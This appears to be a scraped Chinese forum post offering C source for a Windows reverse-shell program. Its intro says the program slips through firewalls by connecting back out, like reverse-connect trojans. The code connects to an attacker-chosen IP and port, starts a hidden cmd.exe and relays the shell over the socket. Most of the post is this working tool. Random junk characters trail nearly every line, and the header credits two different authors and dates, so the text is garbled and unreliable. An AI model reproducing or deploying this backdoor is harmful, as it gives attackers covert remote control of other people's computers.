这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 \4G9fR4
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/* ============================== "a _S7K
Rebound port in Windows NT @G=:@;
By wind,2006/7 x5#Kk.
===============================*/ (0_]=r=q
#include jA@
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#include $rjm MSxi
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#pragma comment(lib,"wsock32.lib") m-[xrVV
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void OutputShell(); [$>@f{:
SOCKET sClient; ,DWq
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; Rc@lGq9
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void main(int argc,char **argv) %"E!E1_Sv
{ KKg\n^
WSADATA stWsaData; :[PA .Upi
int nRet; hOqNZ66{
SOCKADDR_IN stSaiClient,stSaiServer; -e51/lhpd
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if(argc != 3) DDT]A<WUV
{ lS2`#l >
printf("Useage:\n\rRebound DestIP DestPort\n"); `LwZ(M-hI
return; %0u5d$b q
} CJ3/8*;w
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WSAStartup(MAKEWORD(2,2),&stWsaData); <X5V]f
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sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); /K,@{__JP
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stSaiClient.sin_family = AF_INET; T/%k1Hsa4H
stSaiClient.sin_port = htons(0); kDiR2K&
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); sBxCi~
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if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) *xeJ4h
{ ]G!
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printf("Bind Socket Failed!\n"); C-Y7n5
return; tsB}'+!v#
} g]b%<DJ
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stSaiServer.sin_family = AF_INET; pXNH
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); aO:A pOAO
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); xy)W_~Mk
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if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) JV;VR9-l
{ -S@ ys
printf("Connect Error!"); v49i.c9
return; 1
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} =*?XZA)c
OutputShell(); nwDW<J{f|U
} ^sJp!hi4=)
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void OutputShell() 7pH[_]1"
{ -zH-9N*c
char szBuff[1024]; TU| 0I
SECURITY_ATTRIBUTES stSecurityAttributes; Pj^Ccd'>=
OSVERSIONINFO stOsversionInfo; >LU !Z
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; xLbF9ASim
STARTUPINFO stStartupInfo; CS xB)-
char *szShell; MA mjoH
PROCESS_INFORMATION stProcessInformation; V2 }.X+u&<
unsigned long lBytesRead; _2})URU<S
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stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); >BMtR0
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stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); bOlb
stSecurityAttributes.lpSecurityDescriptor = 0; XOZ@ek)LY
stSecurityAttributes.bInheritHandle = TRUE; \7(OFT\u:
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CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); OH5#.${O
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); u])MI6LF
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ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); ;4vx+> -
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ?l
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stStartupInfo.wShowWindow = SW_HIDE; Nu; 9
stStartupInfo.hStdInput = hReadPipe; Z3 na .>Z
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; erV&N,cI
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GetVersionEx(&stOsversionInfo); fqm6Pd{:(
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switch(stOsversionInfo.dwPlatformId) pWGIA6&v(
{ WZ@$bf}f0
case 1: ][T>052v
szShell = "command.com"; q[.,i{2R}
break; ];Bk|xJ/>
default: }Do$oyAV$G
szShell = "cmd.exe"; VC NQ}h[D
break; 3_Re>i
} 'p,54<e
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CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); wIQt
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send(sClient,szMsg,77,0); DB+.<
while(1) yu'@gg(
{ W'C~{}c=
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); ?CuwA-j
if(lBytesRead) MJ@PAwv"
{ rge/qUr/^
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); :LR>U;2
send(sClient,szBuff,lBytesRead,0); )G|'PXI@,
} (DKQHL;
else iC<qWq|S_m
{
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lBytesRead=recv(sClient,szBuff,1024,0); vj<JjGP
if(lBytesRead<=0) break; ?7aeY5p
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); WNV}@
} 0a's[>-'A
} Dn.%+im-u
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return; A!`Q[%$
}